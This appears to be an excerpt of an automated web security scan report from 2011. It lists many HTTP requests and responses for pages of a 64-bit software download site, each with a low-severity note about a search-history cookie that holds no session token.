HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30665
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rss-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rss-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88508
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rss-feed-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22rss-feed-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22rss+feed+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rss-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-search-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:22 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22search%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-ssl-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22ssl%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87821
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-synchronization-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A15%3A%22synchronization%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90120
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-synchronize-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22synchronize%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91266
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-topic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22topic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 84529
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-troll-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:52 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22troll%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-troll-killer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22troll-killer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22troll+killer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-trollkiller-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22trollkiller%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-use-next-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22use-next%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22use+next%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-usenet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37040
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-usenet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22usenet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79207
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-usenet-search-engine-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22usenet-search-engine%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22usenet+search+engine%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-usenext-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22usenext%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-video-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22video%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 99673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-xpat-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:08 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22xpat%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-yenc-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22yenc%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-audio-multimedia-downloads-1-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%221%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79639
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /categories/free-64-bit-business-downloads-2-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%222%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
